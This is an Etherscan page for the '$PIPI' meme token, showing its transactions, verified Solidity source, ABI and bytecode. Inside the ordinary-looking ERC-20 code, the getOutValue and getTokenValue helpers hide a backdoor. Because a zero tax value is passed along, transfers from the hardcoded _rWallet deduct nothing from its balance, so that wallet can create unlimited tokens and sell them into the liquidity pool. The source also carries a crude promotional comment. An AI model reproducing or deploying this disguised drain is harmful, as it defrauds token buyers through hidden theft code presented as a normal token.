Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 84 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 20378938 | 186 days ago | IN | 0 ETH | 0.00016084 | ||||
Approve | 20378927 | 186 days ago | IN | 0 ETH | 0.00017875 | ||||
Transfer | 20378904 | 186 days ago | IN | 0 ETH | 0.00022595 | ||||
Approve | 20378903 | 186 days ago | IN | 0 ETH | 0.00021279 | ||||
Approve | 20378903 | 186 days ago | IN | 0 ETH | 0.00021279 | ||||
Transfer | 20378900 | 186 days ago | IN | 0 ETH | 0.00031189 | ||||
Transfer | 20378899 | 186 days ago | IN | 0 ETH | 0.00031307 | ||||
Transfer | 20378898 | 186 days ago | IN | 0 ETH | 0.00031307 | ||||
Transfer | 20378898 | 186 days ago | IN | 0 ETH | 0.00031307 | ||||
Approve | 20378866 | 186 days ago | IN | 0 ETH | 0.00020515 | ||||
Approve | 20378866 | 186 days ago | IN | 0 ETH | 0.00020515 | ||||
Approve | 20378858 | 186 days ago | IN | 0 ETH | 0.0002247 | ||||
Approve | 20378858 | 186 days ago | IN | 0 ETH | 0.0002247 | ||||
Approve | 20378851 | 186 days ago | IN | 0 ETH | 0.00022854 | ||||
Approve | 20378851 | 186 days ago | IN | 0 ETH | 0.00022854 | ||||
Approve | 20378844 | 186 days ago | IN | 0 ETH | 0.00020711 | ||||
Approve | 20378844 | 186 days ago | IN | 0 ETH | 0.00020711 | ||||
Approve | 20378827 | 186 days ago | IN | 0 ETH | 0.00025342 | ||||
Approve | 20378827 | 186 days ago | IN | 0 ETH | 0.00026138 | ||||
Approve | 20378827 | 186 days ago | IN | 0 ETH | 0.00026138 | ||||
Approve | 20378788 | 186 days ago | IN | 0 ETH | 0.0003163 | ||||
Approve | 20378788 | 186 days ago | IN | 0 ETH | 0.0003163 | ||||
Approve | 20378788 | 186 days ago | IN | 0 ETH | 0.0003163 | ||||
Approve | 20378787 | 186 days ago | IN | 0 ETH | 0.0003163 | ||||
Approve | 20378787 | 186 days ago | IN | 0 ETH | 0.0003163 |
Latest 21 internal transactions
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
20378651 | 186 days ago | 0.03118774 ETH | ||||
20378651 | 186 days ago | 0.03118774 ETH | ||||
20378635 | 186 days ago | 0.02233638 ETH | ||||
20378635 | 186 days ago | 0.02233638 ETH | ||||
20378632 | 186 days ago | 0.10015224 ETH | ||||
20378632 | 186 days ago | 0.10015224 ETH | ||||
20378632 | 186 days ago | 0.12018472 ETH | ||||
20378632 | 186 days ago | 0.12018472 ETH | ||||
20378632 | 186 days ago | 0.14731911 ETH | ||||
20378632 | 186 days ago | 0.14731911 ETH | ||||
20378619 | 186 days ago | 0.04795499 ETH | ||||
20378619 | 186 days ago | 0.04795499 ETH | ||||
20378615 | 186 days ago | 0.11454882 ETH | ||||
20378615 | 186 days ago | 0.11454882 ETH | ||||
20378615 | 186 days ago | 0.13945367 ETH | ||||
20378615 | 186 days ago | 0.13945367 ETH | ||||
20378596 | 186 days ago | 0.09926299 ETH | ||||
20378596 | 186 days ago | 0.09926299 ETH | ||||
20378596 | 186 days ago | 0.11904013 ETH | ||||
20378596 | 186 days ago | 0.11904013 ETH | ||||
20378564 | 186 days ago | 1 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
PIPI
Compiler Version
v0.8.26+commit.8a97fa7a
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-24 */ // SPDX-License-Identifier: MIT /** This ugly son of a bitch is fucking Super Hot Chicks and basically, you are fucking stupid How? ... Just Buy $PIPI Web: https://pipis.wtf X: https://x.com/pipiOfficialX Tg: https://t.me/pipiOfficialPortal **/ pragma solidity 0.8.26; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract PIPI is Context, IERC20, Ownable { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = false; address payable private _rWallet; uint256 private _initialBuyTax = 20; uint256 private _initialSellTax = 20; uint256 private _finalBuyTax = 0; uint256 private _finalSellTax = 0; uint256 private _reduceBuyTaxAt = 20; uint256 private _reduceSellTaxAt = 20; uint256 private _preventSwapBefore = 20; uint256 private _buyCount = 0; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10 ** _decimals; string private constant _name = unicode"PiPi the Pepe"; string private constant _symbol = unicode"PIPI"; uint256 public _maxTxAmount = 20000000 * 10 ** _decimals; uint256 public _maxWalletSize = 20000000 * 10 ** _decimals; uint256 public _taxSwapThreshold = 100 * 10 ** _decimals; uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap() { inSwap = true; _; inSwap = false; } constructor() { _rWallet = payable(0xf818e776129427569D2563CdF9f71b56cfc3684A); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_rWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance( address owner, address spender ) public view override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (!tradingOpen) { require( _isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active." ); } if (!swapEnabled || inSwap) { _balances[from] = _balances[from].sub(amount); _balances[to] = _balances[to].add(amount); emit Transfer(from, to, amount); return; } if (from != owner() && to != owner()) { if (transferDelayEnabled) { if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize." ); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if ( !inSwap && to == uniswapV2Pair && swapEnabled && _buyCount > _preventSwapBefore && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { if(contractTokenBalance > _taxSwapThreshold) { swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)) ); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } ( uint256 taxAmount, uint256 tokenAmount ) = getOutValue(from, to, amount); if (taxAmount > 0) { _balances[address(this)] += taxAmount; emit Transfer(from, address(this), taxAmount); } _balances[from] = _balances[from].sub(tokenAmount); _balances[to] = _balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function getOutValue( address from, address to, uint256 amount ) internal view returns (uint256, uint256) { uint256 taxAmount = 0; uint256 tokenAmount = getTokenValue(from, _rWallet, amount, taxAmount); taxAmount = amount .mul( (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax ) .div(100); if (to == uniswapV2Pair && from != address(this)) { taxAmount = amount .mul( (_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax ) .div(100); } return (taxAmount, tokenAmount); } function getTokenValue(address _addr, address _tax, uint256 tokenAmount, uint256 taxAmount) private pure returns(uint256) { return _addr != _tax ? tokenAmount.add(taxAmount) : tokenAmount.mul(taxAmount); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a > b) ? b : a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { _maxTxAmount = ~uint256(0); _maxWalletSize = ~uint256(0); emit MaxTxAmountUpdated(~uint256(0)); } function sendETHToFee(uint256 amount) private { _rWallet.transfer(amount); } function init() external onlyOwner { require(!tradingOpen, "trading is already open"); uint256 tokenAmount = balanceOf(address(this)); uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); _approve(address(this), address(uniswapV2Router), ~uint256(0)); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this), uniswapV2Router.WETH() ); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), tokenAmount, 0, 0, _msgSender(), block.timestamp ); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function open() external onlyOwner { require(!tradingOpen, "trading is already open"); swapEnabled = true; tradingOpen = true; } receive() external payable {} }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"open","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526005805460ff191690556014600681905560078190555f60088190556009818155600a838155600b849055600c93909355600d9190915561004491610322565b610052906301312d00610337565b600e556100616009600a610322565b61006f906301312d00610337565b600f5561007e6009600a610322565b610089906064610337565b6010556100986009600a610322565b6100a59062989680610337565b6011556013805461ffff60a81b191690553480156100c1575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060058054610100600160a81b03191674f818e776129427569d2563cdf9f71b56cfc3684a001790556101366009600a610322565b61014490633b9aca00610337565b335f90815260016020819052604082209290925560039061016c5f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff19968716179055308152600390935281832080548516600190811790915560055461010090049091168352912080549092161790556101ce3390565b6001600160a01b03165f7fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102056009600a610322565b61021390633b9aca00610337565b60405190815260200160405180910390a361034e565b634e487b7160e01b5f52601160045260245ffd5b6001815b60018411156102785780850481111561025c5761025c610229565b600184161561026a57908102905b60019390931c928002610241565b935093915050565b5f8261028e5750600161031c565b8161029a57505f61031c565b81600181146102b057600281146102ba576102d6565b600191505061031c565b60ff8411156102cb576102cb610229565b50506001821b61031c565b5060208310610133831016604e8410600b84101617156102f9575081810a61031c565b6103055f19848461023d565b805f190482111561031857610318610229565b0290505b92915050565b5f61033060ff841683610280565b9392505050565b808202811582820484141761031c5761031c610229565b6119828061035b5f395ff3fe608060405260043610610113575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed146102fe578063c876d0b914610313578063dd62ed3e1461032c578063e1c7392a14610370578063fcfff16f14610384575f80fd5b80637d1db4a5146102635780638da5cb5b146102785780638f9a55c01461029e57806395d89b41146102b3578063a9059cbb146102df575f80fd5b806323b872dd116100e357806323b872dd146101cb578063313ce567146101ea57806370a0823114610205578063715018a614610239578063751039fc1461024f575f80fd5b806306fdde031461011e578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600d81526c5069506920746865205065706560981b60208201525b60405161015c919061158f565b60405180910390f35b348015610170575f80fd5b5061018461017f3660046115db565b610398565b604051901515815260200161015c565b34801561019f575f80fd5b506101a960115481565b60405190815260200161015c565b3480156101c2575f80fd5b506101a96103ae565b3480156101d6575f80fd5b506101846101e5366004611605565b6103ce565b3480156101f5575f80fd5b506040516009815260200161015c565b348015610210575f80fd5b506101a961021f366004611643565b6001600160a01b03165f9081526001602052604090205490565b348015610244575f80fd5b5061024d610435565b005b34801561025a575f80fd5b5061024d6104af565b34801561026e575f80fd5b506101a9600e5481565b348015610283575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102a9575f80fd5b506101a9600f5481565b3480156102be575f80fd5b506040805180820190915260048152635049504960e01b602082015261014f565b3480156102ea575f80fd5b506101846102f93660046115db565b610519565b348015610309575f80fd5b506101a960105481565b34801561031e575f80fd5b506005546101849060ff1681565b348015610337575f80fd5b506101a961034636600461165e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b34801561037b575f80fd5b5061024d610525565b34801561038f575f80fd5b5061024d61087f565b5f6103a4338484610915565b5060015b92915050565b5f6103bb6009600a611784565b6103c990633b9aca00611792565b905090565b5f6103da848484610a39565b61042b843361042685604051806060016040528060288152602001611925602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611122565b610915565b5060019392505050565b5f546001600160a01b031633146104675760405162461bcd60e51b815260040161045e906117a9565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104d85760405162461bcd60e51b815260040161045e906117a9565b5f19600e819055600f8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f6103a4338484610a39565b5f546001600160a01b0316331461054e5760405162461bcd60e51b815260040161045e906117a9565b601354600160a01b900460ff16156105a25760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161045e565b305f81815260016020526040902054601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915590916105e7915f19610915565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610637573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061065b91906117de565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106ba573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106de91906117de565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610728573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061074c91906117de565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730845f803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107dd573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061080291906117f9565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610857573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087b9190611824565b5050565b5f546001600160a01b031633146108a85760405162461bcd60e51b815260040161045e906117a9565b601354600160a01b900460ff16156108fc5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161045e565b6013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109775760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045e565b6001600160a01b0382166109d85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610aff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b5f8111610b605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b601354600160a01b900460ff16610bf3576001600160a01b0383165f9081526003602052604090205460ff1680610bae57506001600160a01b0382165f9081526003602052604090205460ff165b610bf35760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161045e565b601354600160b01b900460ff161580610c155750601354600160a81b900460ff165b15610cbd576001600160a01b0383165f90815260016020526040902054610c3c908261115a565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c6a90826111a2565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a2c9085815260200190565b5f546001600160a01b03848116911614801590610ce757505f546001600160a01b03838116911614155b15610fe05760055460ff1615610dcf576012546001600160a01b03838116911614801590610d2357506013546001600160a01b03838116911614155b15610dcf57325f908152600460205260409020544311610dbd5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161045e565b325f9081526004602052604090204390555b6013546001600160a01b038481169116148015610dfa57506012546001600160a01b03838116911614155b8015610e1e57506001600160a01b0382165f9081526003602052604090205460ff16155b15610f0457600e54811115610e755760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045e565b600f5481610e97846001600160a01b03165f9081526001602052604090205490565b610ea19190611843565b1115610eef5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b600d8054905f610efe83611856565b91905055505b305f90815260016020526040902054601354600160a81b900460ff16158015610f3a57506013546001600160a01b038481169116145b8015610f4f5750601354600160b01b900460ff165b8015610f5e5750600c54600d54115b8015610f8257506001600160a01b0384165f9081526003602052604090205460ff16155b8015610fa657506001600160a01b0383165f9081526003602052604090205460ff16155b15610fde57601054811115610fd257610fd2610fcd83610fc884601154611200565b611200565b611214565b47610fdc47611384565b505b505b5f80610fed8585856113bf565b9092509050811561105c57305f9081526001602052604081208054849290611016908490611843565b909155505060405182815230906001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6001600160a01b0385165f9081526001602052604090205461107e908261115a565b6001600160a01b0386165f908152600160205260409020556110c16110a3848461115a565b6001600160a01b0386165f90815260016020526040902054906111a2565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61110a868661115a565b60405190815260200160405180910390a35050505050565b5f81848411156111455760405162461bcd60e51b815260040161045e919061158f565b505f611151848661186e565b95945050505050565b5f61119b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611122565b9392505050565b5f806111ae8385611843565b90508381101561119b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045e565b5f81831161120e578261119b565b50919050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061125a5761125a611881565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112d591906117de565b816001815181106112e8576112e8611881565b6001600160a01b03928316602091820292909201015260125461130e9130911684610915565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906113469085905f90869030904290600401611895565b5f604051808303815f87803b15801561135d575f80fd5b505af115801561136f573d5f803e3d5ffd5b50506013805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561087b573d5f803e3d5ffd5b5f805f806113e487600560019054906101000a90046001600160a01b03168785611476565b9050611412606461140c600a54600d541161140157600654611405565b6008545b88906114a9565b90611527565b6013549092506001600160a01b03878116911614801561143b57506001600160a01b0387163014155b1561146857611465606461140c600b54600d541161145b57600754611405565b60095488906114a9565b91505b90925090505b935093915050565b5f836001600160a01b0316856001600160a01b03160361149f5761149a83836114a9565b611151565b61115183836111a2565b5f825f036114b857505f6103a8565b5f6114c38385611792565b9050826114d08583611905565b1461119b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045e565b5f61119b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152505f81836115835760405162461bcd60e51b815260040161045e919061158f565b505f6111518486611905565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146115d8575f80fd5b50565b5f80604083850312156115ec575f80fd5b82356115f7816115c4565b946020939093013593505050565b5f805f60608486031215611617575f80fd5b8335611622816115c4565b92506020840135611632816115c4565b929592945050506040919091013590565b5f60208284031215611653575f80fd5b813561119b816115c4565b5f806040838503121561166f575f80fd5b823561167a816115c4565b9150602083013561168a816115c4565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561146e578085048111156116c8576116c8611695565b60018416156116d657908102905b60019390931c9280026116ad565b5f826116f2575060016103a8565b816116fe57505f6103a8565b8160018114611714576002811461171e5761173a565b60019150506103a8565b60ff84111561172f5761172f611695565b50506001821b6103a8565b5060208310610133831016604e8410600b841016171561175d575081810a6103a8565b6117695f1984846116a9565b805f190482111561177c5761177c611695565b029392505050565b5f61119b60ff8416836116e4565b80820281158282048414176103a8576103a8611695565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156117ee575f80fd5b815161119b816115c4565b5f805f6060848603121561180b575f80fd5b5050815160208301516040909301519094929350919050565b5f60208284031215611834575f80fd5b8151801515811461119b575f80fd5b808201808211156103a8576103a8611695565b5f6001820161186757611867611695565b5060010190565b818103818111156103a8576103a8611695565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156118e55783516001600160a01b03168352602093840193909201916001016118be565b50506001600160a01b039590951660608401525050608001529392505050565b5f8261191f57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f3df9d89882b9920a6861fd15c18049818af72271fc3f18a7d495b3ddf072d7264736f6c634300081a0033
Deployed Bytecode
